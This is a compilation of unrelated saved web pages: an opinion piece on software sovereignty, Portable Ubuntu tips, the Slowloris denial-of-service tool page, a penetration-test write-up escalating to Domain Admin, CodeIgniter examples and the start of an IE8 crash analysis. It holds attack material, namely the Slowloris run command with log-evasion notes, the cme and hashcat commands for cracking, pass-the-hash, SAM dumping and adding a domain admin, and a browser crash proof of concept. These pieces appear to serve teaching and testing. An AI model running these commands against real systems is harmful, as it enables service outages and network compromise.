escaped="" highlight=""> `

  * ### Navigation
    * Home
    * Profiler
  * ### Recent Posts
    * PE analysis \(part 1\)
    * ActionScript2 Disassembler
    * Resource & Load Config Directory
    * Profiler 0.8.2 Demo
    * Portable Executable: coming soon
    * Entropy
    * Info-Tech Storage Format support
    * PDF object search output
    * Zip bomb
    * PDF AES256 \(Revision 6\)
  * ### Recent Comments
    * Marco on PE analysis \(part 1\)
    * Daniel Pistelli on Profiler 0.8.2 Demo
    * ange on Profiler 0.8.2 Demo
    * Mark on TrueType & TrueType Collection Fonts
    * Gunther on Automatic hierarchical profiling
  * ### Archives
    * June 2012
    * May 2012
    * April 2012
    * March 2012
    * February 2012
    * January 2012
    * November 2011
    * August 2011
  * ### Tags
Action Actions beautifier beautify bomb cab cfbf CFont Compact Font Format
compound file binary format Decryption Embedded OpenType Encryption EOT Fonts
html indenter msi nesting OpenType paper Parameters pastebin PDF PE Portable
Executable Profiler Properties Python SDK Search Settings Sharing smgl T1
TrueType Type1 Type2 Web Open Font Format windows installer WOFF Word xhtml
xml Zip

  * ### Categories
    * Action
    * CFBF
    * CFont
    * Data
    * Demo
    * EOT
    * Fonts
    * ITSF
    * JPEG
    * OTF
    * PDF
    * PE
    * Profiler
    * SDK
    * SWF
    * Type1
    * Uncategorized
    * WOFF
    * Zip

Cerbero Blog

Web design by paomedia.

  *[HTML]: HyperText Markup Language

# Silicon Valley, spy agencies and software sovereignty - Al Jazeera English

**Created:**| _10/23/2013 9:44:12 AM_  
---|---  
**Updated:**| _10/23/2013 9:44:12 AM_  
**Author:**| __  
**Tags:**| _opinion eco_  
  

# **S** ilicon Valley, spy agencies and software sovereignty****

Silicon Valley, spy agencies and software sovereignty

Last updated: 21 October 2013

Countries need homegrown technology as an economic incentive and to have some
measure of independence and security**.**

* * *
The privacy and technology world has been left reeling since the first reports
came through based on information provided by whistle-blower Edward Snowden
**.** The releases paint a dreary picture of our current dystopian position,
with the NSA going to extraordinary lengths to circumvent privacy and freedom
on the Internet**.** From deliberately weakening public encryption standards
to vacuuming up call records and metadata, from tapping internet junction
points to “partnering” with technology companies to obtain client data, they
have been nothing if not thorough**.**

According to reports, US-based technology companies have been collaborating
closely with US intelligence agencies and, thanks to the use of national
security letters, are unable to even inform users when their private data is
being siphoned off**.** The sole outlier who stood against this surveillance
was secure email provider Lavabit , who opted to shutdown rather than sell out
their users, but this resolve has been markedly absent elsewhere**.**

The director of the NSA, along with other US government officials, have made
several statements to pacify their constituents by making it clear that they
seldom spy on US citizens - unless they really have to**.** The rest of the
world was left to face the harsh reality that our emails, phone calls and data
are fair game**.** Every additional revelation hammered home the facts that
foreigners using US-based services are routinely snooped on, and that
technology bought from US companies has a chance of containing backdoors**.**

For a world that has become dependent on software created by the US in general
- and Silicon Valley in particular - this is a grim place to be**.** The US
has provided the rest of the world with fantastic technology, but at the cost
of our technical independence**.** Moving away from dependency on US
technology companies is far easier said than done**.** Creating a new Silicon
Valley is a tired meme, and the number of stories entitled “Country X plans to
build their own X-Silicon-Valley” are matched closely by articles detailing
how, despite the best intentions, high-speed internet connections and faux-
startup offices, successful duplication has failed**.**

The PRISM leaks - and indeed the documents that have surfaced since - show why
this reliance on technology created by a foreign government is folly, and
irresponsible to boot**.**

**Hard to replicate?**

People have cited multiple reasons for failing to create their own Silicon
Valley, from the dearth of venture capital to the lack of appetite for
failure**.** These are well-studied areas which highlight necessary criteria
for success, but as they stand they are not sufficient**.** People who talk
about replicating the Valley often gloss over an important but inconvenient
truth: That Silicon Valley was brought to life largely to serve as a provider
to the US military and was built on the back of defence funding**.**

In his talk, “The Secret History of Silicon Valley ”, serial entrepreneur and
academic Steve Blank sketches the early days of the Valley and shows how two
individuals, Fred Terman and William Shockley, both military men, laid the
roots for what would grow to be the Silicon Valley we know today**.** In the
section titled “Spook Entrepreneurship” Blank explains how Terman moulded
Stanford University to become a “full partner” in the military industrial
complex, and how he served as an advisor to almost every major branch of the
US military**.** He encouraged students like Bill Hewlett and David Packard to
start companies and how under his leadership, Stanford became a centre of
excellence for the NSA, CIA, Navy and Airforce**.** Shockley, the founder of
Shockley Semi-Conductor which spawned Fairchild, Intel and 60 other semi-
conductor companies was a former Department of Defence research director in
the Weapons Systems Evaluation Group**.**

Even casual observers of Silicon Valley history are aware that a host of
today’s technological powerhouses cut their teeth on government funding and
intelligence work**.** Oracle was actually named after the CIA project that
birthed it and government contracts were the lifeblood of the young Oracle
corporation**.** The importance of these military and intelligence contracts
to young startups is oft underestimated; for many, they are the difference
between life and death**.** As Blank says, these contracts “prime the pump”
for young technology companies**.**

This model, which was successful in creating Silicon Valley, still strongly
supports it today**.**

Anyone working in information security will at some point interact with
technology from FireEye, Tenable, VeraCode, RedSeal, Palantir or ArcSight**.**
What do all these companies have in common? All are relative frontrunners in
their niche areas of cyber security, and each has had considerable investment
from a CIA-backed, non-profit venture capital firm called In-Q-Tel**.**
According to its website, In-Q-Tel exists to “identify, adapt and deliver
innovative technology solutions to support the missions of the CIA and broader
US Intelligence Community”**.** Just as DARPA invests in leading edge military
research, In-Q-Tel looks for unmet needs in the intelligence community, and
then encourages those technologies into existence by funding nascent
technology companies playing in that area**.** They supply funding,
connections and contracts that serve once more to prime the pump**.**

France plans to adopt a model based on US' strategy of growing local companies
through strategic state investments**.**

This model of funding - indeed this collaboration - has proven to be extremely
effective at creating the sorts of products sought by the US military and
intelligence communities**.** Then, like microwaves, computers, duct tape and
even the internet, these technologies go on to serve a broader audience**.**
Sometimes these go on to multi-billion dollar valuations **.** Clearly this is
a recipe that should be actively replicated**.**

**Folly of inaction**

The reality is that while the US military and intelligence community were
creating and supporting companies to build the technology they needed, most
other countries - save an enlightened or paranoid few - were content to sit
back and make use of the final products those companies generated**.** Until
the recent Snowden events, that is**.**

The PRISM leaks - and indeed the documents that have surfaced since - show why
this reliance on technology created by a foreign government is folly, and
irresponsible to boot**.** Suddenly it is clear that countries do not need
their own Silicon Valley for solely economic incentives, they need homegrown
technology to have some measure of independence and security**.** In drafting
their national cyber security policy , France demonstrated a clear
understanding of this**.** As a key area of action they state:

“The development of the information society offers companies a worldwide
market, currently dominated by actors located outside of Europe**.** As far as
information systems security is concerned, this situation is neither desirable
nor tenable**.** ”

Their plan to resolve this is simplified by the strong skills and accessible
resources available in the European industrial base**.**

“This base is made up of a large number of innovative SMEs**.** However, these
companies have not yet reached the required critical size and are not in
sufficient demand**.** Industrial strengthening will be promoted using the
various resources of the State, in particular through strategic investment
funds**.** ”

Simply put, France plans to adopt a model based on US' strategy of growing
local companies through strategic state investments**.** How do developing
nations, or nations without France’s base, achieve the same thing**?** Is it
too late for them to start **?**

**Open source software**

The Open Source/Free Software Movement \(OSS\) launched in 1983 has more than
come into its own in the past decade**.** Today web browsers like Chrome and
Firefox - with Open Source roots - dominate over Microsoft’s Internet
Explorer**.** When Apple needed a new operating system, they embraced and
extended the popular open source FreeBSD**.** When Google needed a mobile
operating system, they adopted a flavour of Linux**.** Even the International
Space Station today leans heavily on OSS to avoid total dependence on third
parties**.**

The adoption of free software for government use is a no brainer, and has
certainly been discussed before: In 2011 the founder of the free software
movement Richard Stallman wrote, “The state needs to insist on free software
in its own computing for the sake of its computational sovereignty \(the
state’s control over its own computing\)**.** All users deserve control over
their computing, but the state has a responsibility to the people to maintain
control over the computing it does on their behalf**.** Most government
activities now depend on computing, and its control over those activities
depends on its control over that computing**.** Losing this control in an
agency whose mission is critical undermines national security**.** ”

The NSA revelations show that employing US-developed technology carries the
very real threat of backdoors or intentional weakening by the NSA**.**

Adopting OSS alternatives to critical software is an interesting potential
path to salvation for emerging nations**.** This is not because such software
is inherently more secure than its closed source alternatives, but because it
offers interesting possibilities for developing nations to catch up really
quickly**.**

In the wake of the PRISM scandals, a number of countries have expressed a
willingness to invest in software they can rely on, but face genuine capacity
constraints**.** Does Brazil expect to build an operating system to rival
Windows**?** The leaks cast a huge shadow on popular VoIP services, but does
that mean South Africa should reinvent Skype**?** Developing nations do not
have the infrastructure or oftentimes the human capital to build such
ambitious projects from scratch**.**

The power of OSS means they do not have to**.**

**Win-win situation**

By adopting a popular Linux platform throughout government, Brazil instantly
gains more control of their destiny**.** Strategic investments of relatively
modest sums into important current projects - compared to developing homegrown
systems from scratch - would buy goodwill in the community while
simultaneously ensuring that those projects remain active**.** During this
period nations build skills and competencies to embrace and extend the
platform to their liking**.** And at the very worst, hire external developers
to do this customisation until they are ready to do it themselves**.** For
marginal sums they could support the likes of Grsecurity  and PaX to ensure
the continued existence of an open source security project that has been
tested by time and consistently led its closed source competitors for
years**.**

For investments that would read like rounding errors on current South African
government IT projects, they could patron the Jitsi  project that already
supports encrypted voice, video and text chatting across multiple platforms.

In the short term, this becomes a rising tide that lifts all boats**.** South
Africa benefits from Brazil’s contribution to Linux, Brazil benefits from
South Africa’s contribution to Jitsi, and both nations plot a way out of the
crippling dependence they currently find themselves in**.**

Carefully aimed investment plans should be used to sponsor contributions,
code-audits and assessments of strategically chosen software**.** The work
could be privately forked or fed back to the original projects to contribute
to the greater good**.** Managing this process carefully will also result in
the formation of young, homegrown talent that knows how to build robust and
useful technology that can be quickly extended to consumers**.** In terms of
building a Silicon Valley, the mountain will come to Mohamed**.**

Recently the ever quotable Marcus Ranum posited  that the US is treating the
Internet and its technology underpinnings as a colony**.** This should make us
“native” technologists \(who call the colonies home\), quite nervous**.** The
NSA revelations show that employing US-developed technology carries the very
real threat of backdoors or intentional weakening by the NSA**.** More than
ever, countries need to take a page out of the US government’s playbook and
begin to develop key technologies closer to home; strategic government
investments are critical to make this happen**.** Leveraging open source
software means that even though it wont be easy, its easier today than it ever
was, and the rewards may just prove to be substantially more**.**

**Haroon Meer is the founder of Thinkst Applied Research**.****

****

# Portable Ubuntu for Windows

**Created:**| _6/2/2009 9:01:44 AM_  
---|---  
**Updated:**| _6/2/2009 9:01:44 AM_  
**Author:**| __  
**Tags:**| __  
  

### How to change the file system size - Method 2

This method was shared by Angelo Compagnucci. This is more fast and we don't
need use dd.

  * If you are executing Portable Ubuntu, you must close it.
  * Open a Windows console with the _cmd_ command.
  * Go to the folder where are Portable Ubuntu installed. Go to images folder.
  * Create a new image file with:
`fsutil file createnew more_space.img SIZE_TO_ADD_IN_BYTES`

For example, if you want to add 4Gb more:

`fsutil file createnew more_space.img 4294967296`

  * In this step you need join this file with the root filesystem image:
`copy /b rootfs.img+more_space.img rootfs_.img`

  * After join the files, you need rename rootfs\_.img to rootfs.img
  * Now run Portable Ubuntu \(Execute run\_portable\_ubuntu.bat\)
  * When Portable Ubuntu is ready, type in a terminal:
`sudo su  
resize2fs -f /dev/cobd0`

  * Now you have more space in Portable Ubuntu\!

# Slowloris HTTP DoS

**Created:**| _6/17/2009 3:46:34 PM_  
---|---  
**Updated:**| _6/17/2009 3:46:47 PM_  
**Author:**| __  
**Tags:**| _security tools web DoS_  
  

## Slowloris HTTP DoS

  

[code]

    CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::
    CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::
    CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::
    CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::
    CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
    ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc
    ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
    oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
    oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
    oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
    CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
    CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
    OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
    OOOOO888@8@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
    COOO888@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
    CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
    coooCCO8@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
    :ccooooCO888OOOO8OOc..:...::. .co8@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
    .:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
    ....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
    .......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
    ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
    .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
     ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
       .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
      .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
           .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco
    
    
[/code]

**Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP
client\!**

Written by RSnake with help from John Kinsella, and a dash of inspiration from
Robert E Lee.

In considering the ramifcations of a slow denial of service attack against
particular services, rather than flooding networks, a concept emerged that
would allow a single machine to take down another machine's web server with
minimal bandwidth and side effects on unrelated services and ports. The ideal
situation for many denial of service attacks is where all other services
remain intact but the webserver itself is completely inaccessible. Slowloris
was born from this concept, and is therefore relatively very stealthy compared
to most flooding tools.

Slowloris holds connections open by sending partial HTTP requests. It
continues to send subsequent headers at regular intervals to keep the sockets
from closing. In this way webservers can be quickly tied up. In particular,
servers that have threading will tend to be vulnerable, by virtue of the fact
that they attempt to limit the amount of threading they'll allow. Slowloris
must wait for all the sockets to become available before it's successful at
consuming them, so if it's a high traffic website, it may take a while for the
site to free up it's sockets. So while you may be unable to see the website
from your vantage point, others may still be able to see it until all sockets
are freed by them and consumed by Slowloris. This is because other users of
the system must finish their requests before the sockets become available for
Slowloris to consume. If others re-initiate their connections in that brief
time-period they'll still be able to see the site. So it's a bit of a race
condition, but one that Slowloris will eventually always win - and sooner than
later.

Slowloris also has a few stealth features built into it. Firstly, it can be
changed to send different host headers, if your target is a virtual host and
logs are stored seperately per virtual host. But most importantly, while the
attack is underway, the log file won't be written until the request is
completed. So you can keep a server down for minutes at a time without a
single log file entry showing up to warn someone who might watching in that
instant. Of course once your attack stops or once the session gets shut down
there will be several hundred 400 errors in your logs. That's unavoidable as
Slowloris sits today, although it may be possible to turn them into 200 OK
messages instead by completing a valid request, but Slowloris doesn't yet do
that.

HTTPReady quickly came up as a possible solution to a Slowloris attack,
because it won't cause the HTTP server to launch until a full request is
recieved. This is true only for GET and HEAD requests. As long as you give
Slowloris the switch to modify it's method to POST, HTTPReady turns out to be
a worthless defense against this type of attack.

This is **_NOT_** a TCP DoS, because it is actually making a full TCP
connection, not a partial one, however it _is_ making partial HTTP requests.
It's the equivalent of a SYN flood but over HTTP. One example of the
difference is that if there are two web-servers running on the same machine
one server can be DoSed without affecting the other webserver instance.
Slowloris would also theoretically work over other protocols like UDP, if the
program was modified slightly and the webserver supported it. Slowloris is
also **_NOT_** a GET request flooder. Slowloris requires only a few hundred
requests at long term and regular intervals, as opposed to tens of thousands
on an ongoing basis.

Interestingly enough, in testing this has been shown in at least one instance
to lock up database connections and force other strange issues and errors to
arise that can allow for fingerprinting and other odd things to become obvious
once the DoS is complete and the server attempts to clean itself up. I would
guess that this issue arises when the webserver is allowed to open more
connections than the database is, causing the database to fail first and for
longer than the webserver.

Slowloris lets the webserver return to normal almost instantly \(usually
within 5 seconds or so\). That makes it ideal for certain attacks that may
just require a brief down-time. As described in this blog post, DoS is
actually very useful for certain types of attacks where timing is key, or as a
diversionary tactic, etc....

This affects a number of webservers that use threaded processes and ironically
attempt to limit that to prevent memory exhaustion - fixing one problem
created another. This includes but is not necessarily limited to the
following:

  * Apache 1.x
  * Apache 2.x
  * dhttpd
  * GoAhead WebServer
  * Squid

There are a number of webservers that this doesn't affect as well, in my
testing:

  * IIS6.0
  * IIS7.0
  * lighthttpd

This is obviously not a complete list, and there may be a number of variations
on these web-servers that are or are not vulnerable. I didn't test every
configuration or variant, so your mileage may vary. This also may not work if
there is an upstream device that somehow limits/buffers/proxies HTTP requests.
Please note though that **Slowloris only represents one variant of this
attack** and other variants may have different impacts on other webservers and
upstream devices. This command should work on most systems, but please be sure
to check the options as well:

**perlslowloris.pl -dns example.com**

Requirements: This is a PERL program requiring the PERL interpreter with the
modules IO::Socket::INET, IO::Socket::SSL, and GetOpt::Long. Slowloris works
MUCH better and faster if you have threading, so I highly encourage you to
also install threads and threads::shared if you don't have those modules
already. You can install modules using CPAN:

> perl -MCPAN -e 'install IO::Socket::INET'  
> perl -MCPAN -e 'install IO::Socket::SSL'
<img src='img/Temp2_7567.gif' width='50' height='50' />**Windows users** : You
probably will not be able to successfuly execute a Slowloris denial of service
from Windows even if you use Cygwin. I have not had any luck getting Slowloris
to successfuly deny service from within Windows, because Slowloris requires
more than a few hundred sockets to work \(sometimes a thousand or more\), and
Windows limits sockets to around 130, from what I've seen. I highly suggest
you use a \*NIX operating system to execute Slowloris from for the best
results, and not from within a virtual machine, as that could have unexpected
results based on the parent operating system.

Version: Slowloris is currently at version 0.7 - 06/17/2009

Download: slowloris.pl

Getting started: **perldocslowloris.pl**

Issues: For a complete list of issues look at the Perl documentation, which
explains all of the things to think about when running this denial of service
attack.

Thanks: Thank you to John Kinsella for the help with threading and id and
greyhat for help with testing.

<img src='img/Temp2_7568.gif' width='297' height='293' />

  
  

Back to http://ha.ckers.org/

# OpenRCE

**Created:**| _1/13/2011 3:35:16 PM_  
---|---  
**Updated:**| _1/13/2011 3:35:44 PM_  
**Author:**| __  
**Tags:**| _iDA plugin_  
  
idastruct is an ida plugin which aims to assist reverse engineers in
identifying high-level objects and structures in binary code.

  

idastruct utilizes the excellent x86 emulator plugin 'ida-x86emu' by Chris
Eagle and Jermey Cooper as a basis for evaluating operand values and
determining references within tracked boundaries.

  

This results in automated creation of IDA structures, enumeration or member
references, and renaming of disassembly offsets to symbolic names
corresponding to the newly created structures and members in the IDA database.

<img src='img/idastruct.tar.gz' width='265' height='49' />

# Gaining Domain Admin from Outside Active Directory

**Created:**| _3/7/2018 8:22:41 AM_  
---|---  
**Updated:**| _3/7/2018 8:22:41 AM_  
**Author:**| _wishi_  
**Tags:**| _active directory_  
  

  

# Gaining Domain Admin from Outside Active Directory

Mar 4, 2018

…or why you should ensure all Windows machines are domain joined.

This is my first non-web post on my blog. I’m traditionally a web developer,
and that is where my first interest in infosec came from. However, since I
have managed to branch into penetration testing, initially part time and now
full time, Active Directory testing has become my favourite type of
penetration test.

This post is regarding an internal network test for a client I did earlier in
the year. This client’s network is a tough nut to crack, and one I’ve tested
before so I was kind of apprehensive of going back to do this test for them in
case I came away without having “hacked in”. We had only just managed it the
previous time.

The first thing I run on an internal is the Responder tool. This will grab
Windows hashes from LLMNR or NetBIOS requests on the local subnet. However,
this client was wise to this and had LLMNR & NetBIOS requests disabled.
Despite already knowing this fact from the previous engagement, one of the
things I learned during my OSCP course was to always try the easy things first
- there’s no point in breaking in through a skylight if the front door is
open.

So I ran Responder, and I was surprised to see the following hash captured:

<img src='img/Temp2_3387.png' width='710' height='308' alt='reponder' />

Note of course, that I would never reveal client confidential information on
my blog, therefore everything you see here is anonymised and recreated in the
lab with details changed.

Here we can see the host `172.16.157.133` has sent us the NETNTLMv2 hash for
the account `FRONTDESK`.

Checking this host’s NetBIOS information with Crack Map Exec \(other tools are
available\), we can check whether this is a local account hash. If it is, the
“domain” part of the username:

[code]

    [SMBv2] NTLMv2-SSP Username : 2-FD-87622\FRONTDESK
    
[/code]

i.e. `2-FD-87622` should match the host’s NetBIOS name if this is the case.
Looking up the IP with CME we can see the name of the host matches:

<img src='img/Temp2_3392.png' width='728' height='85' alt='netbios' />

So the next port of call we try to crack this hash and gain the plaintext
password. Hashcat was loaded against rockyou.txt and rules, and quickly
cracked the password.

`hashcat -m 5600 responder /usr/share/wordlists/rockyou.txt -r
/usr/share/rules/d3adhob0.rule `

<img src='img/Temp2_3391.png' width='729' height='716' alt='hashcat' />

Now we have a set of credentials for the front desk machine. Hitting the
machine again with CME but this time passing the cracked credentials:

`cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth`

<img src='img/Temp2_3396.png' width='441' height='57' alt='admin on own
machine' />

We can see `Pwn3d!` in the output showing us this is a local administrator
account. This means we have the privileges required to dump the local password
hashes:

`cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth --sam`

<img src='img/Temp2_3393.png' width='740' height='148' alt='SAM hashes' />

Note we can see

`FRONTDESK:1002:aad3b435b51404eeaad3b435b51404ee:eb6538aa406cfad09403d3bb1f94785f:::`

This time we are seeing the NTLM hash of the password, rather than the
NETNTLMv2 “challenge/response” hash that Responder caught earlier. Responder
catches hashes over the wire, and these are different to the format that
Windows stores in the SAM.

The next step was to try the local administrator hash and spray it against the
client’s server range. Note that we don’t even have to crack this
administrator password, we can simply “pass-the-hash”:

`cme smb 172.16.157.0/24 -u administrator -H
'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-
auth`

<img src='img/Temp2_3394.png' width='707' height='315' alt='admin password
reuse' />

We can only pass-the-hash using the stored NTLM format, not the NETNTLMv2
network format \(unless you look to execute an “SMB relay” attack instead\).

To our surprise, it got a hit, the local administrator password had been
reused on the STEWIE machine. Querying this host’s NetBIOS info:

[code]

    $ cme smb 172.16.157.134 
    SMB         172.16.157.134  445    STEWIE           
    [*] Windows Server 2008 R2 Foundation 7600 x64 (name:STEWIE) (domain:MACFARLANE)
    (signing:False) (SMBv1:True)
    
[/code]

We can see it is a member of the MACFARLANE domain, the main domain of the
client’s Active Directory.

So the non-domain machine had a local administrator password which was reused
on the internal servers. We can now use Metasploit to PsExec onto the machine,
using the NTLM as the password which will cause Metasploit to pass-the-hash.

<img src='img/Temp2_3397.png' width='740' height='262' alt='metasploit
options' />

Once ran, our shell is gained:

<img src='img/Temp2_3390.png' width='740' height='259' alt='ps exec shell' />

We can load the Mimikatz module and read Windows memory to find passwords:

<img src='img/Temp2_3389.png' width='601' height='321' alt='mimikatz' />

Looks like we have the DA \(Domain Admin\) account details. And to finish off,
we use CME to execute commands on the Domain Controller to add ourselves as a
DA \(purely for a POC for our pentest, in real life or to remain more stealthy
we could just use the discovered account\).

`cme smb 172.16.157.135 -u administrator -p 'October17' -x 'net user
markitzeroda hackersPassword! /add /domain /y && net group "domain admins"
markitzeroda /add'`

<img src='img/Temp2_3388.png' width='740' height='121' alt='add da' />

Note the use of the undocumented `/y` function to suppress the prompt Windows
gives you for adding a password longer than 14 characters.

A screenshot of Remote Desktop to the Domain Controller can go into the report
as proof of exploitation:

<img src='img/Temp2_3395.png' width='740' height='599' alt='da proof' />

So if this front desk machine had been joined to the domain, it would have had
LLMNR disabled \(from their Group Policy setting\) and we wouldn’t have gained
the initial access to it and leveraged its secrets in order to compromise the
whole domain. Of course there are other mitigations such as using LAPS to
manage local administrator passwords and setting `FilterAdministratorToken` to
prevent SMB logins using the local RID 500 account \(great post on this
here\).

  

# Psyche

**Created:**| _7/2/2009 4:24:27 PM_  
---|---  
**Updated:**| _7/2/2009 4:24:39 PM_  
**Author:**| __  
**Tags:**| _security tools network-security_  
  

## v0.5 Released

Posted on July 1st, 2009 bd No comments

The latest version of psyche \(v0.5\) contains several improvements, most of
which pertain to the internal structure of the code itself. In addition, we’ve
enhanced the UI and added a bit of functionality. As always, we like to
provide some details behind the changes of each release -

1\) Previously, the main controllers.py file managed all of the pages of the
psyche front-end. We’ve now split this file into separate controller files,
one per page. This core change makes the project more modular and maintainable
as it continues to grow.

2\) The management page now allows you to enter a ‘nickname’ for each internal
network being monitored. This nickname, along with the corresponding network
address, will also appear in the drop down menu located on the home page.

3\) In previous versions of psyche, you had to specify a min and max ratio for
histogram queries. We’ve now added an option that allows you to select ‘zero
to infinity’ for the ratio range, which really helps when bounds are unknown.

4\) We’ve also updated the x-axis labels of the time series graphs \(on the
home and top talkers pages\). The labels now contain AM vs PM and properly
maintain their spacing on the axis \(bug fix\).

# Database Quick Start : CodeIgniter User Guide

**Created:**| _4/15/2010 4:07:58 PM_  
---|---  
**Updated:**| _4/15/2010 4:08:15 PM_  
**Author:**| __  
**Tags:**| _Databases web programming php_  
  

# Database Quick Start: Example Code

The following page contains example code showing how the database class is
used. For complete details please read the individual pages describing each
function.

## Initializing the Database Class

The following code loads and initializes the database class based on your
configuration settings:

`$this->load->database();`

Once loaded the class is ready to be used as described below.

Note: If all your pages require database access you can connect automatically.
See the connecting page for details.

## Standard Query With Multiple Results \(Object Version\)

`$query = $this->db->query('SELECT name, title, email FROM my_table');  
  
foreach ($query->result() as $row)  
{  
echo $row->title;  
echo $row->name;  
echo $row->email;  
}  
  
echo 'Total Results: ' . $query->num_rows();`

The above result\(\) function returns an array of **objects**. Example:
$row->title

## Standard Query With Multiple Results \(Array Version\)

`$query = $this->db->query('SELECT name, title, email FROM my_table');  
  
foreach ($query->result_array() as $row)  
{  
echo $row['title'];  
echo $row['name'];  
echo $row['email'];  
}`

The above result\_array\(\) function returns an array of standard array
indexes. Example: $row\['title'\]

## Testing for Results

If you run queries that might **not** produce a result, you are encouraged to
test for a result first using the num\_rows\(\) function:

`$query = $this->db->query("YOUR QUERY");  
  
if ($query->num_rows() > 0)  
{  
foreach ($query->result() as $row)  
{  
echo $row->title;  
echo $row->name;  
echo $row->body;  
}  
}`

## Standard Query With Single Result

`$query = $this->db->query('SELECT name FROM my_table LIMIT 1');  
  
$row = $query->row();  
echo $row->name;  
`

The above row\(\) function returns an **object**. Example: $row->name

## Standard Query With Single Result \(Array version\)

`$query = $this->db->query('SELECT name FROM my_table LIMIT 1');  
  
$row = $query->row_array();  
echo $row['name'];  
`

The above row\_array\(\) function returns an **array**. Example:
$row\['name'\]

## Standard Insert

`$sql = "INSERT INTO mytable (title, name)  
VALUES (".$this->db->escape($title).", ".$this->db->escape($name).")";  
  
$this->db->query($sql);  
  
echo $this->db->affected_rows();`

## Active Record Query

The Active Record Pattern gives you a simplified means of retrieving data:

`$query = $this->db->get('table_name');  
  
foreach ($query->result() as $row)  
{  
echo $row->title;  
}`

The above get\(\) function retrieves all the results from the supplied table.
The Active Record class contains a full compliment of functions for working
with data.

## Active Record Insert

`$data = array(  
'title' => $title,  
'name' => $name,  
'date' => $date  
);  
  
$this->db->insert('mytable', $data);  
  
// Produces: INSERT INTO mytable (title, name, date) VALUES ('{$title}',
'{$name}', '{$date}')`

# When A DoS Isn't A DoS | BreakingPoint
**Created:**| _12/20/2010 10:14:54 PM_  
---|---  
**Updated:**| _12/20/2010 10:15:06 PM_  
**Author:**| __  
**Tags:**| _Exploit DoS analysis vulnerability_  
  

# When A DoS Isn't A DoS

**By Nephi Johnson**

It seems that denial-of-service \(DoS\) attacks are in the news nearly every
day, including the recent buzz about a DoS vulnerability present in Internet
Explorer 8 that surfaced on full-disclosure. Some claimed it was exploitable
\(such as VUPEN\), but most claimed it either wasn't exploitable or that it
would be very hard to exploit. In this post I'm going to show that this
particular vulnerability is not a DoS, nor is it impossible to exploit.
\(\*\*Note: I'll be using IE8 patched up to MS10-071 on XP SP3\)

## Understanding the Vuln

The original proof-of-concept code that surfaced on full-disclosure looked
something like this:

[code]

     
    // html file 
    <div style="position: absolute; top: -999px;left: -999px;">
    <link href="css.css" rel="stylesheet" type="text/css" />
    
    
[/code]

[code]

     
    // css file 
    *{
             color:red;
    }
    @import url("css.css");
    @import url("css.css");
    @import url("css.css");
    @import url("css.css");
    
    
[/code]

Loading the html above in IE8 results in a crash:

[code]

     
    // error 
     
    (4ec.e8): Access violation - code c0000005 (!!! second chance !!!)
    eax=00000000 ebx=00237160 ecx=00730063 edx=696c413c esi=00000002 edi=0017b484 
    eip=3ced638a esp=0161dbf8 ebp=0161dc04 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000202
    mshtml!CSharedStyleSheet::Notify+0x1d:
    3ced638a 83791801        cmp     dword ptr [ecx+18h],1 ds:0023:0073007b=????????
     
    // disassembly around crash 
     
    3ced6388 8b0f            mov     ecx,dword ptr [edi]
    3ced638a 83791801        cmp     dword ptr [ecx+18h],1 ds:0023:0073007b=???????? 
    3ced638e 0f8442222500    je      mshtml!CSharedStyleSheet::Notify+0x23 (3d1285d6)
    3ced6394 4e              dec     esi
    3ced6395 83c704          add     edi,4
    3ced6398 eb24            jmp     mshtml!CSharedStyleSheet::Notify+0x33 (3ced63be)
    3ced639a 85c0            test    eax,eax
    
    
[/code]

